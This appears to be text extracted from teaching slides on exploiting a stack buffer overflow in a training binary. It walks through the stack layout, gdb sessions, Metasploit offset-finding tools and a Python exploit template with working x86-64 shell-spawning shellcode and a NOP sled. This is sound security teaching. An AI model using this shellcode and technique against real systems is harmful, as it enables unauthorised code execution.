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char firstname[16] SIP 

0xFFFF 0x0100 

isAdmin 

char firstname[16] SIP 

0xFFFF 0x0100 



SIP Saved IP (&__libc_start) 

SFP Saved Frame Pointer 

blubb Local Variables <main> 

Stack Frame 

<main> 

&blubb Argument arg1 for <foobar> 

SIP Saved IP (&return) 

SFP Saved Frame Pointer 

isAdmin Local Variable 1 

pop push 

Stack Frame 

<foobar> 

firstname 



firstname

char firstname[64] SIP 

AAAA AAAA AAAA AAAA XXXX 

Write up 

(0xXXXX  = address of previous function) 



firstname

char firstname[64] SIP 

AAAA AAAA AAAA AAAA BBBB 

Attacker can call any code he wants 

But: What code? 



char firstname[64] SIP 

AAAA AAAA AAAA AAAA BBBB 

CODE CODE CODE CODE CODE &buf1 

Jump to buffer with shellcode 



char firstname[64] SIP 

CODE CODE CODE CODE CODE AA00 

Jump to buffer with shellcode 

0xAA00 

0xAA00 

(not the real address) 



&username 

SIP 

SFP 

isAdmin 

Stack Frame 

<handleData> 

&password 

firstname[64] 



&username 

SIP 

SFP 

isAdmin 

&password 

firstname[64] 

&firstname 

AAAA 

AAAA 

CODE CODE 

CODE CODE 

CODE CODE 

CODE CODE 

CODE CODE 

CODE CODE 

CODE CODE 

























char firstname[64] SIP Stuff 

Address of firstname[]? 

Distance to SIP? 



char firstname[64] SIP 

NOP NOP SHELLCODE &addr 

Stuff 

Stuff 

Distance to SIP? 

Address of firstname[]? 
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SIP 

SBP 

isAdmin 

firstname 



&firstname 

AAAA 

AAAA 

CODE CODE 

CODE CODE 

CODE CODE 

CODE CODE 

CODE CODE 

CODE CODE 

CODE CODE 





&firstname 

AAAA 

AAAA 

CODE CODE 

CODE CODE 

CODE CODE 

CODE CODE 

CODE CODE 

CODE CODE 

CODE CODE 









&firstname 

AAAA 

AAAA 

CODE CODE 

CODE CODE 

CODE CODE 

CODE CODE 

CODE CODE 

CODE CODE 

CODE CODE 











# gdb challenge3 

(gdb) disas handleData 

Dump of assembler code for function handleData: 

   0x00000000004007ad <+46>: mov    %rdx,%rsi 

   0x00000000004007b0 <+49>: mov    %rax,%rdi 

   0x00000000004007b3 <+52>: callq  0x4005c0 <strcpy@plt> 

(gdb) b *0x00000000004007b3 



(gdb) r `python -c 'print "A" * 92'` test 

Breakpoint 2, 0x00000000004007b3 in handleData () 

(gdb) x/32x $rsi 

0x7fffffffec42: 0x41414141 0x41414141 0x41414141 0x41414141 

0x7fffffffec52: 0x41414141 0x41414141 0x41414141 0x41414141 









&firstname 

AAAA 

AAAA 

CODE CODE 

CODE CODE 

CODE CODE 

CODE CODE 

CODE CODE 

CODE CODE 

CODE CODE 



















(gdb) run `python -c 'print "A" * 88 + "BBBB"'` test 

You ARE admin! 

Be the force with you. 

isAdmin: 0x41414141 

 

Program received signal SIGSEGV, Segmentation fault. 

0x0000000042424242 in ?? () 

 

(gdb) run $(printf “%088xBBB”) 

 

 





$ ruby /usr/share/metasploit-

framework/tools/exploit/pattern_create.rb 90 

Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5A

b6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9 

 

$ gdb ./challenge3 

(gdb) run 

Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5A

b6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0A 

test 

Program received signal SIGSEGV, Segmentation 

fault. 

0x0000413064413963 in ?? () 

(gdb) i r rip 

rip            0x413064413963 0x413064413963 

 



$ ruby /usr/share/metasploit-

framework/tools/exploit/pattern_offset.rb  

413064413963 

[*] Exact match at offset 88 

 

 

 





# python bof3.py  | hexdump -v 

0000000 9090 9090 9090 9090 9090 9090 9090 9090 

0000010 9090 9090 9090 9090 9090 9090 9090 9090 

0000020 9090 9090 3190 48c0 d1bb 969d d091 978c 

0000030 48ff dbf7 5453 995f 5752 5e54 3bb0 050f 

0000040 4141 4141 4141 4141 4141 4141 4141 4141 

0000050 4141 4141 4141 4141 e8c0 ffff 7fff      

 

NOP 

Shellcode 

Fill 

Return Address / Address of NOP 

 



#!/usr/bin/python 

 

shellcode = 

"\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x

48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\

x0f\x05" 

 

buf_size = 64 

offset = ?? 

 

# return address without GDB 

ret_addr = "\x??\x??\x??\x??\x??\x??" 

 



# Fill buffer_len with NOP 

# | NOP NOP | 

exploit = "\x90" * (buf_size - len(shellcode)) 

 

# add shellcode 

# | NOP NOP | shellcode | 

exploit += shellcode 

 

# Fill with garbage till we reach saved RIP 

# | NOP NOP | shellcode | fill | 

exploit += "A" * (offset - len(exploit)) 

 

# At last: put in the return address 

# | NOP NOP | shellcode | fill | ret_addr | 

exploit += ret_addr 

 

# print to stdout 

sys.stdout.write(exploit) 



char firstname[64] SIP 

0x90 0x90 0xeb …  

Stuff 

AAAAA 

Distance to SIP? Address of firstname[]? 



$ ./challenge3 `python bof3.py` asdf 

You ARE admin! 

Be the force with you. 

isAdmin: 0x41414141 

#  





NOP NOP NOP NOP NOP NOP SHELLCODE 



char firstname[64] SIP 

0x90 0x90 0xeb …  

Stuff 

AAAAA 





 0x00007fffffffffff



(gdb)run 

Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5A

b6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Acaaaaaaaaaaaaaaa

aaaaaaaa test 

(gdb) i r rip 

rip            0x4007df 0x4007df 



 0x00007fffffffffff



(gdb)run 

Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5A

b6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Acaaaaaaaaaaaaaaa

aaaaaaaa test 

(gdb) i r rip 

rip            0x4007df 0x4007df 

 

(gdb) run 

Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5A

b6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Acaaaaaaaaa test 

(gdb) i r rip 

rip            0x61616161 0x61616161 

 

 

 



(gdb) run `python bof3.py` test 

Breakpoint 2, 0x00000000004007b3 in handleData () 

(gdb) c 

Continuing. 

You ARE admin! 

Be the force with you. 

isAdmin: 0x41414141 

process 17696 is executing new program: /bin/dash 

Warning: 

Cannot insert breakpoint 2. 

Cannot access memory at address 0x4007b3 

(gdb) d 2 



(gdb) run `python bof3.py` test 

The program being debugged has been started already. 

Start it from the beginning? (y or n) y 

Starting program: /bin/dash `python bof3.py` test 

/bin/dash: 0: Can't open 

����������������������������������
���1�H�ѝ��Ќ��H��ST_�RWT^�;AAAAAAAAAAAAAAAAAAAAA
AAAB����• 

[Inferior 1 (process 17705) exited with code 0177] 

(gdb) file ./challenge3 







 

$ ulimit –c unlimited 

$ ./challenge3 `python bof3.py` test 

Segmentation fault (core dumped) 

$ gdb challenge3 core 

Program terminated with signal SIGSEGV, 

Segmentation fault. 

#0  0x00007fffffffec42 in ?? () 

(gdb) x/32x $rip 

0x7fffffffec42: 0x00000000 0x0b000000 0xd3d1e68f 0xe0a72b29 

0x7fffffffec52: 0x85e20d51 0x7830e622 0x365f3638 0x00000034 

0x7fffffffec62: 0x00000000 0x00000000 0x00000000 0x632f2e00 

0x7fffffffec72: 0x6c6c6168 0x65676e65 0x90900033 0x90909090 

0x7fffffffec82: 0x90909090 0x90909090 0x90909090 0x90909090 

 

 



0x00000000004007d2 <+83>: jmp    0x4007de <handleData+95> 

0x00000000004007d4 <+85>: mov    $0x400975,%edi 

0x00000000004007d9 <+90>: callq  0x4005d0 <puts@plt> 

=> 0x00000000004007de <+95>: leaveq  

0x00000000004007df <+96>: retq  

(gdb) b *0x00000000004007de 

 

(gdb) run 

Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7A

b8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Acaaaaaaaaa test 

 

(gdb) i r rsp 

rsp            0x7fffffffe850 0x7fffffffe850 

(gdb) s 

rsp            0x7fffffffe8c0 0x7fffffffe8c0 

 

 





























Does the program 

crash? 

Is RIP pointing to 

stack? 

Enable execstack 

Wrong SIP. 

Check offset and RET addr. 

Make it crash. 

More overflow 

Wrong buffer address 

Check where shellcode is, 

and update RET addr 

Does it point to 

shellcode? 

0x90 etc.  

no 

no 

no 




